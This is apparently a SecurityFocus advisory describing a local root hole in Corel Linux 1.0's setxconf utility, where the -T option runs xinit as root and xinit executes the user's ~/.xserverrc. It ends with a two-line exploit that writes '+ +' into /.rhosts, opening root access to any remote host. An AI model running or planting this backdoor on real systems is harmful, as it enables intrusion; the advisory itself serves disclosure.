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source: http://www.securityfocus.com/bid/1008/info
A vulnerability exists in the setxconf utility, as shipped with Corel Linux 1.0. The -T option to setxconf will run xinit, which euid root. xinit, when executed, will invoke the contents on ~/.xserverrc. A malicious user could therefore execute commands as root.
cat > ~/.xserverrc
echo "+ +" > /.rhosts